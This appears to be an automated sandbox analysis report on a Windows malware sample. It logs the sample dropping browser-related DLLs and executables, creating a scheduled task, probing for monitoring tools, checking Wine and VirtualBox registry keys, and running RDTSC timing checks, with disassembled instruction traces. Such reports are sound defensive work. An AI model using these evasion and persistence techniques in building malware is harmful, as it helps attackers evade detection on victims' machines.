Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEGIDAAFIEH.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEGIDAAFIEH.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsEGIDAAFIEH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9C55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BFB7A second address: 4BFB7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641C6B second address: 641C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641DF0 second address: 641DFA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F78C4C759AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6420C3 second address: 6420F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007F78C4C75716h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c jns 00007F78C4C7571Ch 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F78C4C75724h 0x0000001c jmp 00007F78C4C7571Eh 0x00000021 push esi 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6420F6 second address: 6420FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6420FB second address: 642109 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F78C4C75716h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642109 second address: 64210D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6424DC second address: 6424E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645345 second address: 645349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645349 second address: 645353 instructions: 0x00000000 rdtsc 0x00000002 je 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645353 second address: 645358 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645358 second address: 4BFB7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 223CEF3Fh 0x0000000e mov dl, 3Dh 0x00000010 push dword ptr [ebp+122D0E9Dh] 0x00000016 add dword ptr [ebp+122D3728h], ebx 0x0000001c call dword ptr [ebp+122D36C4h] 0x00000022 pushad 0x00000023 pushad 0x00000024 mov esi, ecx 0x00000026 cmc 0x00000027 popad 0x00000028 cld 0x00000029 xor eax, eax 0x0000002b jnl 00007F78C4C7571Ch 0x00000031 sub dword ptr [ebp+122D18F1h], ecx 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b mov dword ptr [ebp+122D1830h], ebx 0x00000041 mov dword ptr [ebp+122D3A77h], eax 0x00000047 pushad 0x00000048 mov esi, ecx 0x0000004a mov esi, dword ptr [ebp+122D399Fh] 0x00000050 popad 0x00000051 mov esi, 0000003Ch 0x00000056 xor dword ptr [ebp+122D35A7h], ecx 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 clc 0x00000061 lodsw 0x00000063 pushad 0x00000064 sub dword ptr [ebp+122D18F1h], esi 0x0000006a mov edi, 7F03482Dh 0x0000006f popad 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 xor dword ptr [ebp+122D35A7h], eax 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e je 00007F78C4C7571Ch 0x00000084 or dword ptr [ebp+122D1815h], edx 0x0000008a push eax 0x0000008b push ebx 0x0000008c push eax 0x0000008d push edx 0x0000008e push ebx 0x0000008f pop ebx 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64539B second address: 6453F5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F78C4C759B4h 0x00000008 jmp 00007F78C4C759AEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F78C4C759B2h 0x00000015 nop 0x00000016 mov edx, dword ptr [ebp+122D3837h] 0x0000001c push 00000000h 0x0000001e add dword ptr [ebp+122D29B6h], esi 0x00000024 call 00007F78C4C759A9h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F78C4C759ADh 0x00000031 jbe 00007F78C4C759A6h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6453F5 second address: 645400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F78C4C75716h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6454F3 second address: 64553E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ecx 0x0000000f jo 00007F78C4C759BEh 0x00000015 jmp 00007F78C4C759B8h 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [eax] 0x0000001d jg 00007F78C4C759B2h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64553E second address: 645549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F78C4C75716h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645549 second address: 64554F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6455FF second address: 645688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 6479BC56h 0x0000000d mov dword ptr [ebp+122D27E3h], edx 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F78C4C75718h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D35C2h], edi 0x00000035 mov dh, CAh 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F78C4C75718h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 mov edx, dword ptr [ebp+122D37DBh] 0x00000059 push 00000003h 0x0000005b xor dword ptr [ebp+122D18F1h], esi 0x00000061 push A70266ABh 0x00000066 pushad 0x00000067 pushad 0x00000068 ja 00007F78C4C75716h 0x0000006e jne 00007F78C4C75716h 0x00000074 popad 0x00000075 pushad 0x00000076 pushad 0x00000077 popad 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645688 second address: 6456E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 18FD9955h 0x0000000d mov dword ptr [ebp+122D1839h], ebx 0x00000013 lea ebx, dword ptr [ebp+12459289h] 0x00000019 mov edx, dword ptr [ebp+122D3987h] 0x0000001f mov ecx, ebx 0x00000021 xchg eax, ebx 0x00000022 jno 00007F78C4C759CDh 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jns 00007F78C4C759A6h 0x00000032 push ecx 0x00000033 pop ecx 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645731 second address: 645735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6457DD second address: 645801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jmp 00007F78C4C759B6h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645801 second address: 645811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645811 second address: 645839 instructions: 0x00000000 rdtsc 0x00000002 je 00007F78C4C759A8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jmp 00007F78C4C759B4h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645839 second address: 645859 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F78C4C75716h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov dword ptr [ebp+122D29B6h], ecx 0x00000013 lea ebx, dword ptr [ebp+12459294h] 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645859 second address: 645872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645872 second address: 64589C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F78C4C75725h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jc 00007F78C4C75716h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64589C second address: 6458A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6458A2 second address: 6458A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665443 second address: 66544E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66544E second address: 66546C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F78C4C75726h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6655C5 second address: 6655CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6655CB second address: 66560F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F78C4C7571Ch 0x00000010 jno 00007F78C4C75716h 0x00000016 jmp 00007F78C4C75727h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F78C4C75724h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66560F second address: 665627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63176B second address: 63176F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63176F second address: 631775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665FFA second address: 666005 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666005 second address: 66600A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6683B0 second address: 6683BC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6695BB second address: 6695C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6695C0 second address: 6695C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E086 second address: 66E0B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C759B7h 0x00000009 jmp 00007F78C4C759B7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E0B8 second address: 66E0BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E0BC second address: 66E0CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F78C4C759A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E0CC second address: 66E0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C702 second address: 62C72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F78C4C759B4h 0x0000000b jmp 00007F78C4C759AEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C72C second address: 62C731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6731B4 second address: 6731B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6731B9 second address: 6731CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jbe 00007F78C4C7572Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6731CA second address: 6731D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67272B second address: 67272F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672896 second address: 6728A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F78C4C759A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6728A7 second address: 6728B3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F78C4C75716h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672A49 second address: 672A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672A4D second address: 672A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F78C4C75748h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672A5D second address: 672A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672D4D second address: 672D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672D54 second address: 672D6B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F78C4C759ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672D6B second address: 672D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
